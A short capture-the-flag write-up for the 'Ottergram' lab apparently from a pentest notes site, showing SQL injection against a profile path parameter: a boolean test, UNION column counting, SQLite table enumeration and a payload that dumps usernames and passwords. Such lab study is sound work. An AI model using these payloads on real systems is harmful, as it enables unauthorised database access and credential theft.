> For the complete documentation index, see [llms.txt](https://notes.dollarboysushil.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.dollarboysushil.com/web-application-pentest/bugforge/sql-injection-sqli/ottergram.md). # Ottergram Level: Easy\ Points: 10\ Type: Daily Challenge Lab Interface

Intersting request ``` GET /api/profile/sushil ```

Possible SQLi in path parameter.\ Using simple payload `' or 1=1 -- -` proves this parameter is indeed vulnerable to sqli

Next step, finding column number. Using union select method, I found the no of column = 7 ``` ' union select 1,2,3,4,5,6,7 -- - ```

Using [PayloadsAllTheThings SQLi Cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification), I found the database to be sqlite Next is dumping the columns name. ``` ' union select 1,2,3,4,5,6,group_concat(tbl_name) from sqlite_master -- - ```

`users` table looks intersting. Next step is to get columns name from `users` table. ``` ' union select 1,2,3,4,5,6,MAX(sql) from sqlite_master WHERE tbl_name='users' -- - ```

Two interesting columns on `users` table are `username` and `password` . Dumping them as ``` ' union select 1,2,3,4,5,username,password from users -- - ```

Got the flag.